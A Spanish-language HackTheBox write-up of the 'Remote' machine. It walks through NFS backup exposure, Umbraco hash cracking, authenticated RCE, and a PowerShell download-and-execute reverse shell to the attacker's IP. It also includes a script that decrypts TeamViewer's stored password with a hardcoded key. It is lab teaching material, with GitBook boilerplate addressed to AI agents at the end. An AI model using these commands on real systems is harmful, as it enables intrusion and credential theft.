> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Writeup de Remote en HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Enumeración web * Enumeración NFS - Showmount * Fuga de información * Abusando del panel de administración de Umbraco * Umbraco CMS - Ejecución remota de código por administradores autenticados * Obtención de la contraseña de TeamViewer de los registros del sistema (AES128 - CBC) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:**/ Enumerar los puertos abiertos y exportar los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo

### Web (puerto 80): ```bash whatweb http://remote.htb ```

### SMB - puerto 445 Lista **SMB:** ```bash crackmapexec smb 10.10.10.180 ```

### **Cliente SMB (sesión nula) :** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) anónimo Tenemos la posibilidad de conectarnos por FTP con el usuario anónimo, pero no podemos ni listar ni añadir archivos. ```bash ftp 10.10.10.180 put test.txt ```

## Servicio NFS (puerto 2049) {% hint style="info" %} El Sistema de Archivos de Red (NFS) es un protocolo de nivel de aplicación del modelo OSI. Se utiliza para crear sistemas de archivos distribuidos en una red local, permitiendo que distintos sistemas conectados accedan a archivos remotos como si fueran locales. {% endhint %} Para listar los archivos con `mount`: ```bash showmount -e 10.10.10.180 ``` Vemos un `/site_backups` que puede ser visto por todos.

Para importar este archivo, hay que crear un directorio y montarlo en nuestra máquina de la siguiente manera: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

Con `tree`, listaremos todas las carpetas del árbol para hacernos una idea: ``` tree -L 2 ``` Vemos un `.config` configuración y `sdf` carpeta de la base de datos de Umbraco (un CMS) del puerto 80.

El `.conf` el archivo no contiene nada interesante, y el `umbraco.sdf` es un archivo binario.

Usaremos `strings` para mostrar los caracteres visibles y colocarlos en nuestro directorio para un análisis detallado: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` Encontramos contraseñas de "admin" y un usuario "smith".

### Crackeo de contraseñas: Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin: `baconandcheese` #### Como SMB está expuesto, usamos CrackMapExec para autenticarnos y validar el acceso ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### sin efecto

## Vulnerabilidad de RCE (Umbraco CMS) Encontramos un panel de administración e intentaremos la autenticación del usuario admin: `admin@htb.local:baconandcheese`

Tenemos acceso.

Buscaremos `Searchsploit` las vulnerabilidades de este CMS y encontramos un script NCE para Umbraco.

`searchsploit -m aspx/webapps/46153.py` Cambiaremos la configuración de inicio de sesión, contraseña y host en el script.

**Comprueba la conectividad con ping:**/ Ejecutaremos este comando en el servidor, y escucharemos con tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

Una vez que veamos que podemos ejecutar comandos, descargaremos el `PS.ps1` script a nuestro equipo. {% embed url="" %} Al final del script, añadimos la siguiente línea: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

Crearemos un servidor web con el `PS.ps1` script: ```bash python3 -m http.server 80 ``` Luego modificaremos el comando para que apunte a nuestro servidor web: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Finalmente, escuchamos en el puerto 4444: ```bash rlwrap nc -nlvp 4444 ```

Acceso a `user.txt` archivo y al encontrar que TeamViewer está instalado

## Escalada de privilegios: Si miras las tareas en ejecución, puedes ver TeamViewer versión 7. ```powershell tasklist /svc ```

Buscando en los scripts de Metasploit, encontramos uno que puede recuperar la contraseña de TeamViewer: ```powershell locate teamviewer | grep metasploit ```

Al analizar el script, primero debes obtener la clave (según la versión) del registro: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` A continuación, deben examinarse las propiedades de seguridad, especialmente la contraseña AES: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

Pon los siguientes bytes en `texto cifrado`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Script de automatización en Python: Aquí está el script que automatiza todo el proceso: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

La contraseña es `!R3m0te!`. Comprobaremos con CrackMapExec si la contraseña es correcta para el usuario `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

Nos conectamos con Evil-WinRM, ya que el servicio remoto de administración de Windows está activo en el puerto 5985:

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Bandera de root final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.